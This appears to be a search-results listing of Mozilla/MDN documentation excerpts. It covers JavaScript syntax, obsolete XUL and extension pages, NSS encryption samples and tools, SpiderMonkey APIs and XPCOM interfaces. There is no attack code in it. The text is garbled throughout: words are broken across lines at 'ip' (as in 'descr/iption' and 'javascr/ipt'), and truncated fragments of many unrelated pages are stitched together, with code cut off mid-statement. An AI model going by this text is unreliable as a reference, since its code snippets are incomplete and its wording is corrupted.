... examples using @@toprimitive const sym = symbol("example"); sym === sym[symbol.toprimitive](); // true specifications specification ecmascr
ipt (ecma-262)the definition of 'symbol.prototype.@@toprimitive' in that specification.
Function expression - JavaScript
descr
iption a function expression is very similar to and has almost the same syntax as a function declaration (see function statement for details).
... function expression hoisting function expressions in javascr
ipt are not hoisted, unlike function declarations.
... { return y * y; }; using a function as a callback more commonly it is used as a callback: button.addeventlistener('click', function(event) { console.log('button is clicked!') }) using an immediately executed function expression an anonymous function is created and called: (function() { console.log('code runs!') })(); specifications specification ecmascr
ipt (ecma-262)the definition of 'function definitions' in that specification.
break - JavaScript
descr
iption the break statement includes an optional label that allows the program to break out of a labeled statement.
... outer_block: { inner_block: { console.log('1'); break outer_block; // breaks out of both inner_block and outer_block console.log(':-('); // sk
ipped } console.log('2'); // sk
ipped } break in labeled blocks that throw the following code also uses break statements with labeled blocks, but generates a syntaxerror because its break statement is within block_1 but references block_2.
... function testbreak(x) { var i = 0; while (i < 6) { if (i == 3) { (function() { break; })(); } i += 1; } return i * x; } testbreak(1); // syntaxerror: illegal break statement block_1: { console.log('1'); ( function() { break block_1; // syntaxerror: undefined label 'block_1' })(); } specifications specification ecmascr
ipt (ecma-262)the definition of 'break statement' in that specification.
function* - JavaScript
descr
iption generators are functions that can be exited and later re-entered.
... generators in javascr
ipt -- especially when combined with promises -- are a very powerful tool for asynchronous programming as they mitigate -- if not entirely eliminate -- the problems with callbacks, such as callback hell and inversion of control.
... done: false} generator example function* powers(n){ //endless loop to generate for(let current =n;; current *= n){ yield current; } } for(let power of powers(2)){ //controlling generator if(power > 32) break; console.log(power) //2 //4 //8 //16 //32 } specifications specification ecmascr
ipt (ecma-262)the definition of 'function*' in that specification.
function declaration - JavaScript
descr
iption a function created with a function declaration is a function object and has all the properties, methods and behavior of function objects.
...typeof foo is function function declaration hoisting function declarations in javascr
ipt are hoisted to the top of the enclosing function or global scope.
... function calc_sales(units_a, units_b, units_c) { return units_a * 79 + units_b * 129 + units_c * 699; } specifications specification ecmascr
ipt (ecma-262)the definition of 'function definitions' in that specification.
description - Web app manifests
type string mandatory no the descr
iption member is a string in which developers can explain what the application does.
... descr
iption is directionality-capable, which means it can be displayed left to right or right to left based on the values of the dir and lang manifest members.
... examples simple descr
iption in left-to-right language: "descr
iption": "awesome application that will help you achieve your dreams." descr
iption in arabic, which will be displayed right-to-left: "dir": "rtl", "lang": "ar", "descr
iption": ".تطبيق رائع سيساعدك على تحقيق أحلامك" specification specification status comment feedback web app manifestthe definition of 'descr
iption' in that specification.
Automated testing tips and tricks - Archive of obsolete content
todo: check example code in to the tree somewhere how to quit the browser on all platforms window.close() of the last open window does not quit the application on mac http://people.mozilla.com/~davel/scr
ipts/ - look at quit.js and quit.xul install manifest file in appdir/chrome to map chrome://tests/content to directory containing quit.js and quit.xul example: content tests file:///users/davel/work/tests/ start app with command line flag -chrome chrome://tests/content/quit.xul how to create a new profile from the command line first, use the -createprofile command line flag to add a profile entry to profiles.ini and populate the new profile directory with a prefs.js file firefox-bin -createprofile "testprofile ${pro...
...in test scr
ipts, <code>sleep 5 after the above command should ensure the profile is created before the next command in the test scr
ipt is run how to enable dump in a new profile add user_pref("browser.dom.window.dump.enabled", true); to profiledir/user.js how to execute test code with chrome privileges using a chrome doc - see sbtests.xul in http://people.mozilla.com/~davel/scr
ipts/ for an example firefox-bin -p sbtestprofile -chrome chrome://sbtests/content/ ...
Jetpack Snippets - Archive of obsolete content
using firebug lite in a slidebar jetpack.future.import("slidebar");jetpack.slidebar.append({ html: <html><head></head><body> <p>some slidbar you want to debug</p> <a href="javascr
ipt:console.log('hello!')">test</a> <scr
ipt><![cdata[ //firebug lite bookmarklet code: var firebug=document.createelement('scr
ipt'); firebug.setattribute('src','http://getfirebug.com/releases/lite/1.2/firebug-lite-compressed.js'); document.body.appendchild(firebug); (function(){if(window.firebug.version){firebug.in...
...it();}else{settimeout(arguments.callee);}})();void(firebug); ]]></scr
ipt> </body></html>, width: 800, //wide enough to use firebug onselect: function(slide) { slide.slide(800, true); }}); calling into a slidebar from the global jetpack scope jetpack.slidebar.append({ onready: function (slide) { // call out to a global function, passing the slidebar object exinitslidebar(slide); }, ...});function exinitslidebar(aslidebar) { // this variable will now be global slider = aslidebar;} // then, accessing the slidebar htmlvar tl = slider.contentdocument.getelementbyid("thumblist"); // or calling slidebar api methods or accessing propertiesslider.notify(); ...
grippyhidden - Archive of obsolete content
« xul reference home gr
ippyhidden seamonkey only type: boolean when set to true, the gr
ippy will be hidden.
... when set to false, the default, the gr
ippy will be shown.
grippy - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
toolbargrippy - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties accessible type: nsiaccessible returns the accessibility object for the element.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfea...
Updating an extension to support multiple Mozilla applications - Archive of obsolete content
this is done by adding new <targetapplication> tags to the install.rdf file, like this: <!-- describe the thunderbird versions we support --> <em:targetapplication> <descr
iption> <em:id>{3550f703-e582-4d05-9a08-453d09bdfdc6}</em:id> <em:minversion>1.5</em:minversion> <em:maxversion>2.0.0.*</em:maxversion> </descr
iption> </em:targetapplication> <!-- describe the sunbird versions we support --> <em:targetapplication> <descr
iption> <em:id> {718e30fb-e89b-41dd-9da7-e25a45638b28}</em:id> <em:minversion>0.2<...
.../em:minversion> <em:maxversion>0.4.*</em:maxversion> </descr
iption> </em:targetapplication> these two blocks indicate that the extension supports thunderbird versions 1.5 through 2.0.0.x, sunbird versions 0.2 through 0.4.x.
Using JavaScript Generators in Firefox - Archive of obsolete content
generators can be used to simplify asynchronous code in firefox by opting in to using javascr
ipt version 1.7 or later.
... you can opt in in html as follows: <scr
ipt type="text/javascr
ipt;version=1.7" src="myscr
ipt.js"></scr
ipt> then your myscr
ipt.js file might look like this: // need to stash the generator in a global variable.
Microsoft JavaScript extensions - Archive of obsolete content
microsoft browsers (internet explorer, and in a few cases, microsoft edge) support a number of special microsoft extensions to the otherwise standard javascr
ipt apis.
... objects activexobject debug enumerator vbarray functions getobject scr
iptengine scr
iptenginebuildversion scr
iptenginemajorversion scr
iptengineminorversion statements @cc-on @if @set other date.getvardate() error.descr
iption error.number error.stacktracelimit ...
New in JavaScript 1.4 - Archive of obsolete content
the following is a changelog for javascr
ipt 1.4, which was only used for netscape's server side javascr
ipt released in 1999.
... new features in javascr
ipt 1.4 exception handling (throw and try...catch) in operator instanceof operator changed functionality in javascr
ipt 1.4 eval() changes (cannot be called indirectly and no longer a method of object) arguments not a property of functions deprecated function.arity in favor of function.length changes to liveconnect ...
Round Trip Time (RTT) - MDN Web Docs Glossary: Definitions of Web-related terms
round tr
ip time (rtt) is the length time it takes for a data packet to be sent to a destination plus the time it takes for an acknowledgment of that packet to be received back at the origin.
...58.194.174: icmp_seq=0 ttl=55 time=25.050 ms 64 bytes from 216.58.194.174: icmp_seq=1 ttl=55 time=23.781 ms 64 bytes from 216.58.194.174: icmp_seq=2 ttl=55 time=24.287 ms 64 bytes from 216.58.194.174: icmp_seq=3 ttl=55 time=34.904 ms 64 bytes from 216.58.194.174: icmp_seq=4 ttl=55 time=26.119 ms --- google.com ping statistics --- 5 packets transmitted, 5 packets received, 0.0% packet loss round-tr
ip min/avg/max/stddev = 23.781/26.828/34.904/4.114 ms in the above example, the average round tr
ip time is shown on the final line as 26.8ms.
How to implement a custom autocomplete search component
the simplest way to make an xpcom component is to build an xpcom javascr
ipt component (this cannot be done with a javascr
ipt module).
... how to build an xpcom component in javascr
ipt will step you through the process.
... because creating an xpcom component in order to build a custom autocomplete source can be enough to discourage some developers, below is an example javascr
ipt xpcom component called "simple-autocomplete" that implements the necessary interfaces.
...And 10 more matches
CustomizableUI.jsm
the customizableui.jsm javascr
ipt code module allows you to interact with customizable buttons and items in firefox's main window ui.
...note that these are also abstract cross-window objects; customizableui will manage the actual dom man
ipulation involved with adding/moving/removing widgets in all windows for you.
...the following properties are recognized: property descr
iption type the type of area.
...And 10 more matches
Encrypt Decrypt MAC Keys As Session Objects
*/ /* nspr headers */ #include #include #include #include #include #include #include /* nss headers */ #include #include /* our samples utilities */ #include "util.h" #define buffersize 80 #define digestsize 16 #define ptext_mac_buffer_size 96 #define c
iphersize 96 #define blocksize 32 #define c
ipher_header "-----begin c
ipher-----" #define c
ipher_trailer "-----end c
ipher-----" #define enckey_header "-----begin aeskey ckaid-----" #define enckey_trailer "-----end aeskey ckaid-----" #define mackey_header "-----begin mackey ckaid-----" #define mackey_trailer "-----end mackey ckaid---...
...pt failed : can't create a context\n"); goto cleanup; } cleanup: if (secparam) { secitem_freeitem(secparam, pr_true); } return ctx; } /* * common encryption and decryption code */ secstatus crypt(pk11context *ctx, unsigned char *out, unsigned int *outlen, unsigned int maxout, unsigned char *in, unsigned int inlen) { secstatus rv; rv = pk11_c
ipherop(ctx, out, outlen, maxout, in, inlen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "crypt failed : pk11_c
ipherop returned %d\n", rv); goto cleanup; } cleanup: if (rv != secsuccess) { return rv; } return secsuccess; } /* * decrypt */ secstatus decrypt(pk11context *ctx, unsigned char *out, unsigned int *outlen, unsigned int maxout, ...
... ptext[ptextlen+j] = (unsigned char)paddinglength; } ptextlen = blocksize; } rv = encrypt(ctxenc, encbuf, &encbuflen, sizeof(encbuf), ptext, ptextlen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "encrypt failure\n"); goto cleanup; } /* save the last block of c
iphertext as the next iv */ iv = encbuf; ivlen = encbuflen; /* write the c
ipher text to intermediate file */ nwritten = pr_write(encfile, encbuf, encbuflen); /*pr_assert(nwritten == encbuflen);*/ rv = macupdate(ctxmac, ptext, ptextlen); } rv = macfinal(ctxmac, mac, &maclen, digestsize); if (rv != secsuccess) { pr_fprintf(pr_stder...
...And 10 more matches
Encrypt and decrypt MAC using token
*/ /* nspr headers */ #include #include #include #include #include #include #include /* nss headers */ #include #include /* our samples utilities */ #include "util.h" #define buffersize 80 #define digestsize 16 #define ptext_mac_buffer_size 96 #define c
iphersize 96 #define blocksize 32 #define c
ipher_header "-----begin c
ipher-----" #define c
ipher_trailer "-----end c
ipher-----" #define enckey_header "-----begin aeskey ckaid-----" #define enckey_trailer "-----end aeskey ckaid-----" #define mackey_header "-----begin mackey ckaid-----" #define mackey_trailer "-----end mackey ckaid---...
...pt failed : can't create a context\n"); goto cleanup; } cleanup: if (secparam) { secitem_freeitem(secparam, pr_true); } return ctx; } /* * common encryption and decryption code */ secstatus crypt(pk11context *ctx, unsigned char *out, unsigned int *outlen, unsigned int maxout, unsigned char *in, unsigned int inlen) { secstatus rv; rv = pk11_c
ipherop(ctx, out, outlen, maxout, in, inlen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "crypt failed : pk11_c
ipherop returned %d\n", rv); goto cleanup; } cleanup: if (rv != secsuccess) { return rv; } return secsuccess; } /* * decrypt */ secstatus decrypt(pk11context *ctx, unsigned char *out, unsigned int *outlen, unsigned int maxout, ...
... ptext[ptextlen+j] = (unsigned char)paddinglength; } ptextlen = blocksize; } rv = encrypt(ctxenc, encbuf, &encbuflen, sizeof(encbuf), ptext, ptextlen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "encrypt failure\n"); goto cleanup; } /* save the last block of c
iphertext as the next iv */ iv = encbuf; ivlen = encbuflen; /* write the c
ipher text to intermediate file */ nwritten = pr_write(encfile, encbuf, encbuflen); /*pr_assert(nwritten == encbuflen);*/ rv = macupdate(ctxmac, ptext, ptextlen); } rv = macfinal(ctxmac, mac, &maclen, digestsize); if (rv != secsuccess) { pr_fprintf(pr_stder...
...And 10 more matches
NSS PKCS11 Functions
descr
iption secmod_loadusermodule loads a new pkcs #11 module into nss and connects it to the current nss trust infrastructure.
... descr
iption secmod_unloadusermodule detaches a module from the nss trust domain and unloads it.
... descr
iption open a new database using the softoken.
...And 10 more matches
NSS tools : pk12util
name pk12util — export and import keys and certificate to or from a pkcs #12 file and the nss database synopsis pk12util [-i p12file [-h tokenname] [-v] [common-options] ] [ -l p12file [-h tokenname] [-r] [common-options] ] [ -o p12file -n certname [-c keyc
ipher] [-c certc
ipher] [-m|--key_len keylen] [-n|--cert_key_len certkeylen] [common-options] ] [ common-options are: [-d [sql:]directory] [-p dbprefix] [-k slotpasswordfile|-k slotpassword] [-w p12filepasswordfile|-w p12filepassword] ] descr
iption the pkcs #12 utility, pk12util, enables sharing certificates among any server that supports pkcs#12.
... -c keyc
ipher specify the key encryption algorithm.
... -c certc
ipher specify the key cert (overall package) encryption algorithm.
...And 10 more matches
NSS tools : ssltap
name ssltap — tap into ssl connections and display the data going by synopsis libssltap [-vhfsxl] [-p port] [hostname:port] descr
iption the ssl debugging tool ssltap is an ssl-aware command-line proxy.
... example 1 $ ssltap.exe -sx -p 444 interzone.mcom.com:443 > sx.txt output connected to interzone.mcom.com:443 -->; [ alloclen = 66 bytes [ssl2] clienthellov2 { version = {0x03, 0x00} c
ipher-specs-length = 39 (0x27) sid-length = 0 (0x00) challenge-length = 16 (0x10) c
ipher-suites = { (0x010080) ssl2/rsa/rc4-128/md5 (0x020080) ssl2/rsa/rc4-40/md5 (0x030080) ssl2/rsa/rc2cbc128/md5 (0x040080) ssl2/rsa/rc2cbc40/md5 (0x060040) ssl2/rsa/des64cbc/md5 ...
... (0x0700c0) ssl2/rsa/3des192ede-cbc/md5 (0x000004) ssl3/rsa/rc4-128/md5 (0x00ffe0) ssl3/rsa-f
ips/3des192ede-cbc/sha (0x00000a) ssl3/rsa/3des192ede-cbc/sha (0x00ffe1) ssl3/rsa-f
ips/des64cbc/sha (0x000009) ssl3/rsa/des64cbc/sha (0x000003) ssl3/rsa/rc4-40/md5 (0x000006) ssl3/rsa/rc2cbc40/md5 } session-id = { } challenge = { 0xec5d 0x8edb 0x37c9 0xb5c9 0x7b70 0x8fe9 0xd1d3 0x2592 } } ] <-- [ sslrecord { 0: 16 03 00 03 e5 |.....
...And 10 more matches
SpiderMonkey Build Documentation
for a list of other available build options, type (assuming the current working directory is one of the above-created build directories): /bin/sh ../configure.in --help generating a compilation database some tools (like ides, static analyzers and refactoring tools) consume a file called compile_commands.json which contains a descr
iption of all the pieces required to build a piece of software so that tools don't have to also understand a build system.
... to generate a compile_commands.json with the spidermonkey configure scr
ipt, enable the compiledb backend, like this: /bin/sh ../configure.in <options> --enable-build-backends=compiledb,recursivemake (recursivemake is there as you'd likely also want to be able to build!) windows builds since version 28, threadsafe builds are the default, and should work out of the box on all posix platforms.
...this configure option builds the in-tree version of nspr which is probably what you want; because spidermonkey uses newer nspr symbols, the nspr that sh
ips with your operating system probably does not work.
...And 10 more matches
JS::CompileOffThread
this article covers features introduced in spidermonkey 31 compile a scr
ipt off thread for execution.
... syntax bool js::cancompileoffthread(jscontext *cx, const js::readonlycompileoptions &options, size_t length); bool js::compileoffthread(jscontext *cx, const js::readonlycompileoptions &options, const char16_t *chars, size_t length, js::offthreadcompilecallback callback, void *callbackdata); jsscr
ipt * js::finishoffthreadscr
ipt(jscontext *maybecx, jsruntime *rt, void *token); typedef void (*js::offthreadcompilecallback)(void *token, void *callbackdata); name type descr
iption cx / maybe jscontext * pointer to a js context from which to derive runtime information.
... chars const char16_t * string containing the scr
ipt to compile.
...And 10 more matches
Property attributes
some property attributes are defined in the ecmascr
ipt standard, in ecma 262-3 §8.6.1.
...see js_defineproperty, js_fs, and js_fn flag descr
iption jsprop_enumerate the property is visible to javascr
ipt for...in and for each ...
...in javascr
ipt 1.2 and lower, it is an error to attempt to assign a value to a read-only property.
...And 10 more matches
Mozilla Projects
compare-locales compare-locales is a python scr
ipt that helps localizers to check their work without running firefox or another application.
... crash reporting firefox sh
ips with an open-source crash reporting system.
... this system is combination of projects: emscr
ipten emscr
ipten is an llvm to javascr
ipt compiler.
...And 10 more matches
Handling Mozilla Security Bugs
at the same time, mozilla.org is also creating a larger "mozilla security bug group" by which mozilla contributors and others can partic
ipate in addressing security vulnerabilities in mozilla.
... organizational structure for handling security bugs we are organizing the investigation and fixing of mozilla security vulnerabilities similar to the way mozilla project activities are handled in general: there will be a security module owner, a small core of active contributors who can act as peers to the module owner, a larger group of less active partic
ipants, and other people who may become involved from time to time.
... as with other parts of the mozilla project, partic
ipation in the mozilla security-related activities will be open to both independent volunteers and to employees of the various corporations and other organizations involved with mozilla.
...And 10 more matches
Interfacing with the XPCOM cycle collector
this is a quick overview of the cycle collector introduced into xpcom for firefox 3, including a descr
iption of the steps involved in modifying an existing c++ class to partic
ipate in xpcom cycle collection.
... if you have a class that you think is involved in a cyclical-ownersh
ip leak, this page is for you.
...this way the collector builds a picture of the ownersh
ip subgraph reachable from suspicious objects.
...And 10 more matches
Introduction to XPCOM for the DOM
i learned c++ by reading "c++ primer" from stanley l
ippman and josee lajoie, then experimenting on the dom code.
...interface to a set of methods that man
ipulate an object (often represented by a class), without worrying about the details of the implementation.
... an instance of a class (called an object) can be allocated dynamically (on the heap, or free store), using the syntax nsfoo *fooptr = new nsfoo; that object can then be man
ipulated only through fooptr.
...And 10 more matches
mozIStorageConnection
storage/public/mozistorageconnection.idlscr
iptable this interface represents a database connection attached to a specific file or an in-memory database.
...progresshandler removeprogresshandler(); void rollbacktransaction(); void setgrowthincrement(in print32 aincrement, in autf8string adatabasename); mozistorageprogresshandler setprogresshandler(in print32 agranularity, in mozistorageprogresshandler ahandler); boolean tableexists(in autf8string atablename); attributes attribute type descr
iption connectionready boolean indicates if the connection is open and ready to use.
... note: this is not reliable if you are using asynchronous statements or if you are using the connection on mult
iple threads.
...And 10 more matches
NSPR Error Handling
pr_bad_descr
iptor_error the file descr
iptor used as an argument in the preceding function is invalid.
... pr_invalid_method_error the preceding function is invalid for the type of file descr
iptor used.
... pr_io_pending_error an i/o operation has been attempted on a file descr
iptor that is currently busy with another operation.
...And 8 more matches
certutil
synopsis certutil [options] arguments descr
iption the certificate database tool, certutil, is a command-line utility that can create and modify certificate and key database files.
...each option may take arguments, anywhere from none to mult
iple arguments.
... -q curve-name set the ell
iptic curve name to use when generating ecc key pairs.
...And 8 more matches
JSClass
a jsclass describes a class of javascr
ipt objects.
...sinstanceop hasinstance; jsnative construct; jsxdrobjectop xdrobject; /* obsolete since spidermonkey 13 */ jstraceop trace; /* added in spidermonkey 17 */ jsclassinternal reserved1; /* obsolete since spidermonkey 13 */ void *reserved[n]; /* sizeof 'reserved' depends on version */ }; name type descr
iption name const char * class name flags uint32_t class flags.
...when a scr
ipt creates a new property, this is called after addproperty.
...And 8 more matches
JS_DefineProperty
tr); bool js_defineucproperty(jscontext *cx, js::handleobject obj, const char16_t *name, size_t namelen, double value, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); // ---- added in spidermonkey 45 ---- bool js_definepropertybyid(jscontext *cx, js::handleobject obj, js::handleid id, js::handle<jspropertydescr
iptor> desc, js::objectopresult &result); bool js_definepropertybyid(jscontext *cx, js::handleobject obj, js::handleid id, js::handle<jspropertydescr
iptor> desc); bool js_defineucproperty(jscontext *cx, js::handleobject obj, const char16_t *name, size_t namelen, js::handle<jspropertydescr
iptor> desc); // ---- added in spidermonkey 1...
...ect obj, js::handleid id, uint32_t value, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); bool js_definepropertybyid(jscontext *cx, js::handleobject obj, js::handleid id, double value, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); name type descr
iption cx jscontext * the context in which to define the property.
... getter jsnative the property getter callback, which the javascr
ipt engine will call each time the property's value is accessed; or null.
...And 8 more matches
JS_SetBranchCallback
obsolete since javascr
ipt 1.9.1this feature is obsolete.
... specifies a callback function that is automatically called when a scr
ipt branches backward during execution, when a function returns, and at the end of the scr
ipt.
... syntax jsbranchcallback js_setbranchcallback(jscontext *cx, jsbranchcallback cb); name type descr
iption cx jscontext * the context to hook.
...And 8 more matches
JS_SetOperationCallback
this article covers features introduced in spidermonkey 1.8.5 set a callback function that is automatically called periodically while javascr
ipt code runs.
... syntax void js_setoperationcallback(jscontext *cx, jsoperationcallback callback); jsoperationcallback js_getoperationcallback(jscontext *cx); void js_triggeroperationcallback(jsruntime *rt); name type descr
iption cx jscontext * a context.
... callback syntax jsbool (*jsoperationcallback)(jscontext *cx); name type descr
iption cx jscontext * pointer to a jscontext in which this callback was installed.
...And 8 more matches
JS_SetOptions
syntax uint32 js_setoptions(jscontext *cx, uint32 options); name type descr
iption cx jscontext * a context on which to set options.
... descr
iption js_setoptions sets the option flags of a given js context cx.
...ptions on or off, use js_setoptions with js_getoptions: // turn on warnings for dubious practices js_setoptions(cx, js_getoptions(cx) | jsoption_extra_warnings); // turn off those extra warnings js_setoptions(cx, js_getoptions(cx) & ~jsoption_extra_warnings); the options parameter and the return value are the logical or of zero or more constants from the following table: option descr
iption jsoption_extra_warnings warn on dubious practice.
...And 8 more matches
An Overview of XPCOM
but xpcom also provides several tools and libraries that enable the loading and man
ipulation of these components, services that help the developer write modular cross-platform code, and versioning support, so that components can be replaced or upgraded without breaking or having to recreate the application.
... gecko although it is in some ways structurally similar to microsoft com, xpcom is designed to be used princ
ipally at the application level.
... modular, component-based programming makes software easier to develop and maintain and has some well-known advantages: benefit descr
iption reuse modular code can be reused in other applications and other contexts.
...And 8 more matches
IAccessibleTable2
other-licenses/ia2/accessibletable2.idlnot scr
iptable this interface gives access to a two-dimensional table.
...method overview [propget] hresult caption([out] iunknown accessible ); [propget] hresult cellat([in] long row, [in] long column, [out] iunknown cell ); [propget] hresult columndescr
iption([in] long column, [out] bstr descr
iption ); [propget] hresult iscolumnselected([in] long column, [out] boolean isselected ); [propget] hresult isrowselected([in] long row, [out] boolean isselected ); [propget] hresult modelchange([out] ia2tablemodelchange modelchange ); [propget] hresult ncolumns([out] long columncount ); [propget] hresult nrows([out] long rowcount ); [propget] hr...
...esult nselectedcells([out] long cellcount ); [propget] hresult nselectedcolumns([out] long columncount ); [propget] hresult nselectedrows([out] long rowcount ); [propget] hresult rowdescr
iption([in] long row, [out] bstr descr
iption ); hresult selectcolumn([in] long column ); [propget] hresult selectedcells([out, size_is(, nselectedcells,)] iunknown cells, [out] long nselectedcells ); [propget] hresult selectedcolumns([out, size_is(, ncolumns)] long selectedcolumns, [out] long ncolumns ); [propget] hresult selectedrows([out, size_is(, nrows)] long selectedrows, [out] long nrows ); hresult selectrow([in] long row ); [propget] hresult summary([out] iunknown accessible ); hresult unselectcolumn([in] long column ); hresult unselectrow([in] long row ); methods caption() re...
...And 8 more matches
imgIEncoder
modules/libpr0n/public/imgiencoder.idlscr
iptable please add a summary to this article.
... 1.0 66 introduced gecko 1.8 inherits from: nsiasyncinputstream last changed in gecko 1.9 (firefox 3) method overview void addimageframe( [array, size_is(length), const] in pruint8 data, in unsigned long length, in pruint32 width, in pruint32 height, in pruint32 stride, in pruint32 frameformat, in astring frameoptions); void encodecl
ipboardimage(in nsicl
ipboardimage acl
ipboardimage, out nsifile aimagefile); obsolete since gecko 1.9 void endimageencode(); void initfromdata([array, size_is(length), const] in pruint8 data, in unsigned long length, in pruint32 width, in pruint32 height, in pruint32 stride, in pruint32 inputformat, in astring outputoptions); void startimageencode(in pruint32 width, in pruint32 height, in pruint32 inputformat, in astring ...
...outputoptions); constants possible values for input format (note that not all image formats support saving alpha channels): constant value descr
iption input_format_rgb 0 input is rgb each pixel is represented by three bytes: r, g, and b (in that order, regardless of host endianness) input_format_rgba 1 input is rgb each pixel is represented by four bytes: r, g, and b (in that order, regardless of host endianness).
...And 8 more matches
nsICacheSession
netwerk/cache/public/nsicachesession.idlscr
iptable handles open synchronous and asynchronous cache entry operations along with evicting cache entries and checking for cache devices instantiation according to the session storage policies.
... inherits from: nsisupports last changed in gecko 14 (firefox 14 / thunderbird 14 / seamonkey 2.11) method overview void asyncopencacheentry(in acstring key, in nscacheaccessmode accessrequested, in nsicachelistener listener, [optional] in boolean nowait); void evictentries(); prbool isstorageenabled(); nsicacheentrydescr
iptor opencacheentry(in acstring key, in nscacheaccessmode accessrequested, in boolean blockingmode); void doomentry(in acstring key, in nsicachelistener listener); attributes attribute type descr
iption doomentriesifexpired prbool expired entries will be doomed or evicted if this attribute is set to true.
...instead, the listener will be notified when the descr
iptor is available.
...And 8 more matches
nsIFilePicker
widget/nsifilepicker.idlscr
iptable the file picker component is used to display standard user interface for selecting files and directories, as well as for selecting destinations for, and naming, new files.
...epicker); method overview void appendfilter(in astring title, in astring filter); void appendfilters(in long filtermask); void init(in nsidomwindow parent, in astring title, in short mode); void open(in nsifilepickershowncallback afilepickershowncallback); short show(); obsolete since gecko 57.0 attributes attribute type descr
iption addtorecentdocs boolean if true, the file is added to the operating system's "recent documents" list (if the operating system has one; nothing happens if there is no such concept on the user's platform).
... note: only works with modeopenmult
iple mode.
...And 8 more matches
nsISupports proxies
it is no longer needed because javascr
ipt code can no longer run on arbitrary threads, and compiled code can use compiled runnable to achieve the same effect in a much simpler manner.
... the following interface is now obsolete: ns
iproxyobjectmanager.
... the main reason for nsisupports proxies is that javascr
ipt and ui are on a single thread.
...And 8 more matches
nsITransferable
widget/nsitransferable.idlscr
iptable a container for typed data that can be transferred from one place or owner to another, possibly involving format conversion.
... void gettransferdata( in string aflavor, out nsisupports adata, out unsigned long adatalen ); void init(in nsiloadcontext acontext); boolean islargedataset( ); void removedataflavor( in string adataflavor ); void settransferdata( in string aflavor, in nsisupports adata, in unsigned long adatalen ); attributes attribute type descr
iption converter nsiformatconverter an nsiformatconverter instance which implements the code needed to convert data into and out of the transferable given the supported flavors.
... note: currently, this can only be used on windows (in order to support network princ
ipal information in drag operations).
...And 8 more matches
Drawing and Event Handling - Plugins
//the npwindow structure typedef enum { npwindowtypewindow = 1, npwindowtypedrawable } npwindowtype; typedef struct _npwindow { void* window; /* platform-specific handle */ uint32 x; /* position of top-left corner */ uint32 y; /* relative to a netscape page */ uint32 width; /* maximum window size */ uint32 height; nprect cl
iprect; /* cl
ipping rectangle in port coordinates */ #ifdef xp_unix void * ws_info; /* platform-dependent additional data */ #endif /* xp_unix */ npwindowtype type; /* whether this is a window or a drawable */ } npwindow; the window parameter is a platform-specific handle to a native window element in the browser window hierarchy on windows and unix.
... the cl
iprect field defines the cl
ipping rectangle of the plug-in in a coordinate system where the origin is the top-left corner of the drawable or window.
...for windowless plugins, a cl
iprect of 0,0,0,0 signals that the plugin is not visible.
...And 8 more matches
nsCAutoString
names: nsautostring for wide characters nscautostring for narrow characters method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat str
ipchars str
ipwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated ch...
...ascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid str
ipchar base classes nsfixedcstring data members no public members.
...st - source parameters nscstring& aresult pruint32 acount setcharat prbool setcharat(prunichar, pruint32) - source set a char inside this string at given index @param achar is the char you want to write into this string @param anindex is the ofs where you want to write the given char @return true if successful parameters prunichar achar pruint32 aindex str
ipchars void str
ipchars(const char*) - source these methods are used to remove all occurrences of the characters found in aset from this string.
...And 6 more matches
nsCString
method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat str
ipchars str
ipwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii ...
